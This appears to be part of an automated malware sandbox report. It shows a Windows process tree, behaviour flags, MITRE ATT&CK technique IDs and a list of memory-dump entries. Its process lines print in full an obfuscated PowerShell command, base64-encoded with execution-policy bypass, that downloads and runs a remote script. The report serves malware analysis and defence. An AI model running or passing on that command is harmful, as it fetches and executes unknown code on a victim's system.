cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3696
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:596

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/596-385-0x0000023D6CF90000-0x0000023D6CF92000-memory.dmp

Filesize
8KB

Download
memory/596-387-0x0000023D6CF93000-0x0000023D6CF95000-memory.dmp

Filesize
8KB

Download
memory/596-401-0x0000023D6CF96000-0x0000023D6CF98000-memory.dmp

Filesize
8KB

Download
memory/596-452-0x0000023D6CF98000-0x0000023D6CF99000-memory.dmp

Filesize
4KB

Download
memory/952-139-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-125-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-132-0x00000211F7C30000-0x00000211F7C32000-memory.dmp

Filesize
8KB

Download
memory/952-135-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-140-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-131-0x00000211FA840000-0x00000211FA841000-memory.dmp

Filesize
4KB

Download
memory/952-130-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-129-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-144-0x00000211F7C36000-0x00000211F7C38000-memory.dmp

Filesize
8KB

Download
memory/952-128-0x00000211F7BE0000-0x00000211F7BE1000-memory.dmp

Filesize
4KB

Download
memory/952-127-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-126-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-133-0x00000211F7C33000-0x00000211F7C35000-memory.dmp

Filesize
8KB

Download
memory/952-149-0x00000211FA7C0000-0x00000211FA7C1000-memory.dmp

Filesize
4KB

Download
memory/952-124-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-151-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-153-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-154-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-156-0x00000211FAE20000-0x00000211FAE21000-memory.dmp

Filesize
4KB

Download
memory/952-157-0x00000211FB1B0000-0x00000211FB1B1000-memory.dmp

Filesize
4KB

Download
memory/952-158-0x00000211F7C38000-0x00000211F7C39000-memory.dmp

Filesize
4KB

Download
memory/952-123-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/952-122-0x00000211F5F10000-0x00000211F5F12000-memory.dmp

Filesize
8KB

Download
memory/1168-179-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/1168-166-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/1168-170-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/1168-171-0x0000019908F30000-0x0000019908F32000-memory.dmp

Filesize
8KB

Download
memory/1168-172-0x0000019908F33000-0x0000019908F35000-memory.dmp

Filesize
8KB

Download
memory/1168-173-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/1168-175-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/1168-176-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/1168-178-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/1168-168-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/1168-181-0x0000019908F36000-0x0000019908F38000-memory.dmp

Filesize
8KB

Download
memory/1168-167-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/1168-215-0x0000019908F38000-0x0000019908F3A000-memory.dmp

Filesize
8KB

Download
memory/1168-169-0x0000019908AC0000-0x0000019908AC2000-memory.dmp

Filesize
8KB

Download
memory/2244-270-0x000002B400BF3000-0x000002B400BF5000-memory.dmp

Filesize
8KB

Download
memory/2244-269-0x000002B400BF0000-0x000002B400BF2000-memory.dmp

Filesize
8KB

Download
memory/2244-297-0x000002B400BF8000-0x000002B400BFA000-memory.dmp

Filesize
8KB

Download
memory/2244-296-0x000002B400BF6000-0x000002B400BF8000-memory.dmp

Filesize
8KB

Download
memory/2668-247-0x0000023ECD653000-0x0000023ECD655000-memory.dmp

Filesize
8KB

Download
memory/2668-216-0x0000023ECD650000-0x0000023ECD652000-memory.dmp

Filesize
8KB

Download
memory/2668-248-0x0000023ECD656000-0x0000023ECD658000-memory.dmp

Filesize
8KB

Download
memory/2668-268-0x0000023ECD658000-0x0000023ECD65A000-memory.dmp

Filesize
8KB

Download
memory/3144-119-0x000002ECEEF35000-0x000002ECEEF36000-memory.dmp

Filesize
4KB

Download
memory/3144-115-0x000002ECEF350000-0x000002ECEF74F000-memory.dmp

Filesize
4.0MB

Download
memory/3144-117-0x000002ECEEF30000-0x000002ECEEF32000-memory.dmp

Filesize
8KB

Download
memory/3144-120-0x000002ECEEF36000-0x000002ECEEF37000-memory.dmp

Filesize
4KB

Download
memory/3144-118-0x000002ECEEF33000-0x000002ECEEF35000-memory.dmp

Filesize
8KB

Download